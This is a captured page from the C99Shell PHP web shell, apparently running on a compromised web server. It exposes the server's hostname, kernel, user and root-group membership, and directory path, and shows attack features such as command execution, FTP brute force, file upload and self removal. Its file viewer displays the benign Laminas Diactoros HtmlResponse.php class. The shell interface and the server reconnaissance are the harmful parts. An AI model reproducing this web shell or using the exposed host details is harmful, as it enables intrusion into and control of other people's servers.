!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/laminas/laminas-diactoros/src/Response/   drwxr-xr-x
Free 26.58 GB of 117.98 GB (22.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HtmlResponse.php (1.97 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Laminas\Diactoros\Response;

use 
Laminas\Diactoros\Exception;
use 
Laminas\Diactoros\Response;
use 
Laminas\Diactoros\Stream;
use 
Psr\Http\Message\StreamInterface;

use function 
get_debug_type;
use function 
is_string;
use function 
sprintf;

/**
 * HTML response.
 *
 * Allows creating a response by passing an HTML string to the constructor;
 * by default, sets a status code of 200 and sets the Content-Type header to
 * text/html.
 */
class HtmlResponse extends Response
{
    use 
InjectContentTypeTrait;

    
/**
     * Create an HTML response.
     *
     * Produces an HTML response with a Content-Type of text/html and a default
     * status of 200.
     *
     * @param string|StreamInterface $html HTML or stream for the message body.
     * @param int $status Integer status code for the response; 200 by default.
     * @param array $headers Array of headers to use at initialization.
     * @throws Exception\InvalidArgumentException If $html is neither a string or stream.
     */
    
public function __construct($htmlint $status 200, array $headers = [])
    {
        
parent::__construct(
            
$this->createBody($html),
            
$status,
            
$this->injectContentType('text/html; charset=utf-8'$headers)
        );
    }

    
/**
     * Create the message body.
     *
     * @param string|StreamInterface $html
     * @throws Exception\InvalidArgumentException If $html is neither a string or stream.
     */
    
private function createBody($html): StreamInterface
    
{
        if (
$html instanceof StreamInterface) {
            return 
$html;
        }

        if (! 
is_string($html)) {
            throw new 
Exception\InvalidArgumentException(sprintf(
                
'Invalid content (%s) provided to %s',
                
get_debug_type($html),
                
self::class
            ));
        }

        
$body = new Stream('php://temp''wb+');
        
$body->write($html);
        
$body->rewind();
        return 
$body;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--